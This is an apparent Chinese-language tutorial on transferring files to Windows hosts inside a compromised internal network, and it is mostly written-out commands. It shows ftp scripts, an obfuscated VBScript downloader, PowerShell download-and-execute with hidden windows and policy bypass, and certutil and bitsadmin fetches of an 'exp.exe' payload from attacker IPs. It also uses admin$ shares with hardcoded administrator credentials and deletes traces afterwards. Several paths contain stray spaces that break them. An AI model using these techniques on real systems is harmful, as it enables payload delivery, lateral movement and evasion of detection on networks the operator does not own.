本文简述内网Windows主机文件传输技术,包括利用ftp、VBScript、powershell、certutil.exe、bitsadmin、Xcopy,都是些老技术,整理分享。
一、ftp
windows 全平台自带ftp,在实战中需要考虑两点。
ftp文件的传输方式:
Binary,二进制方式;
ASCII,ASCII传输
在FTP文件传输过程中,ASCII传输HTML和文本编写的文件,而二进制码传输可以传送文本和非文本(执行文件,压缩文件,图片等),具有通用性,二进制码传输速度比ASCII传输要快。
命令:
1
2
3
4
5
6
7
8
9
10
echo open 192.168.1.115 21> ftp.txt
echo 123>> ftp.txt # 用户名
echo 123>> ftp.txt # 密码
echo binary >> ftp.txt # bin模式,设置二进制传输类型
echo get robots.txt >> ftp.txt # 接收指定文件
echo bye >> ftp.txt # 终止ftp会话并退出,同quit
# 指定包含 FTP 命令的文本文件;命令在 FTP 启动后自动运行。
ftp -s:ftp.txt
del /F /Q ftp.txt # 安静模式强制删除ftp文件
精简成一句话
1
2
3
4
echo open IP > o& echo user UserName Password >> o & echo get Target_File.exe >> o & echo quit >> o & ftp ‐n ‐s:o & del /F /Q o
# -A匿名登录下载文件
echo open IP > o & echo get Target_File.exe >> o & echo quit>>o & ftp -A -n -s:o & del /F /Q o
二、VBS
编写VBS脚本并保存
1
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2
也可以用echo方式写入vbs
1
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
命令行下载
1
cscript downfile.vbs http://192.168.126.130:8000/flag.txt C:\Inetpub\b.txt
也可以把参数直接写入vbs文件中,直接执行。
优点:支持windows全版本系列缺点:对https不友好
VBS作为一门代码语言,可以有多种代码编写的方式,不只这一种
三、Powershell
1
2
3
4
5
6
7
8
# 远程下载文件到本地:
powershell ( new-object System.Net.WebClient) .DownloadFile( 'http://192.168.183.138:8000/test.txt' ,'test.exe' )
powershell -exec bypass -c ( new-object System.Net.WebClient) .DownloadFile( 'http://192.168.111.1:8080/exp.exe' ,'C:\Users\1day\Desktop\Tools\exp.exe' )
exp.exe
# 直接把文本转换为exe文件运行,无残留文件
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.138:8000/test.txt'))"
四、certutil
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
1
2
3
4
5
6
7
8
certutil.exe -urlcache -split -f http://192.168.16.157/exp.exe
# certutil.exe下载有个弊端,它的每一次下载都有留有缓存,所以每次下载后需要清除缓存
certutil.exe -urlcache -split -f http://192.168.16.157/exp.exe delete //删除缓存
exp.exe
-URLCache -- 显示或删除 URL 缓存项目
-split -- 分离嵌入的 ASN.1 元素,并保存到文件
-f -- 强制覆盖
默认下载为bin文件。但是不影响在命令行下使用。
certutil还自带base64编码解码功能
1
2
certutil -encode c:\downfile.vbs downfile.bat
certutil -decode c:\downfile.bat downfile.txt
五、bitsadmin
BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。
具体相关参数参见 官方文档:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
USAGE: BITSADMIN [/RAWRETURN] [/WRAP | /NOWRAP] command
The following commands are available:
/? Prints this help
/UTIL /? 打印实用程序命令列表
/PEERCACHING /? 打印管理缓存的命令列表
/CACHE /? 打印缓存管理命令
/PEERS /? 打印管道peer管理命令
/LIST [/ALLUSERS] [/VERBOSE] 打印任务列表
/MONITOR [/ALLUSERS] [/REFRESH sec] 监控复制管理器
/RESET [/ALLUSERS] 删除所有任务
/TRANSFER <job name> [type] [/PRIORITY priority] [/ACLFLAGS flags]
remote_url local_name 传输一个或多个文件.
[type] 为/DOWNLOAD或/UPLOAD; 默认为下载
可以指定多个 URL/文件对。local_name 只支持 绝对路径
1
2
3
4
5
6
bitsadmin /transfer 123 http://192.168.111.1:8080/exp.exe C:\U sers\1 day\D esktop\e xp.exe
net use \\ DC\a dmin$ /u:"administrator" " 1qaz@WSX"
bitsadmin /TRANSFER /DOWNLOAD \\ WEB\a dmin$\t emp\t .exe C:\w indows\t emp\t .exe
bitsadmin /TRANSFER /UPLOAD c:\w indows\t emp\t .exe \\ WEB\a dmin$\t emp\t .exe
bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自 动重试,在比较复杂的网络环境下,有着不错的性能。
1
2
E:\> bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:\P DF\r obots.txt
/RAWRETURN 返回数据更适合解析
需要注意的是,bitsadmin要求服务器支持Range标头。如果需要下载过大的文件,需要提高优先级。配合上面的下载命令。再次执行
1
2
3
4
5
6
7
8
bitsadmin /setpriority down foreground
/SETPRIORITY <job> <priority> # 设置工作优先级
Priority usage choices:
FOREGROUND
HIGH
NORMAL
LOW
六 、Xcopy
Windows 自带命令,复制文件和目录树
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 建立网络会话
net use \\ DC\a dmin$ /u:"administrator" "password"
# 从本地推到远端
xcopy /s /h /d /c /y C:\W indows\T emp\t .exe \\ WEB\\ admin$\t emp\
# 从远端拉到本地
xcopy /s /h /d /c /y \\ WEB\\ admin$\t emp\t .exe C:\W indows\T emp\
参数讲解:
XCOPY source [ destination]
source 指定要复制的文件。
destination 指定新文件的位置和/或名称。
/S 复制目录和子目录,不包括空目录。
/H 也复制隐藏文件和系统文件。
/D:m-d-y 复制在指定日期或指定日期以后更改的文件。如果没有提供日期,只复制那些源时间比目标时间新的文件。
/C 即使有错误,也继续复制。
/Y 取消提示以确认要覆盖现有目标文件。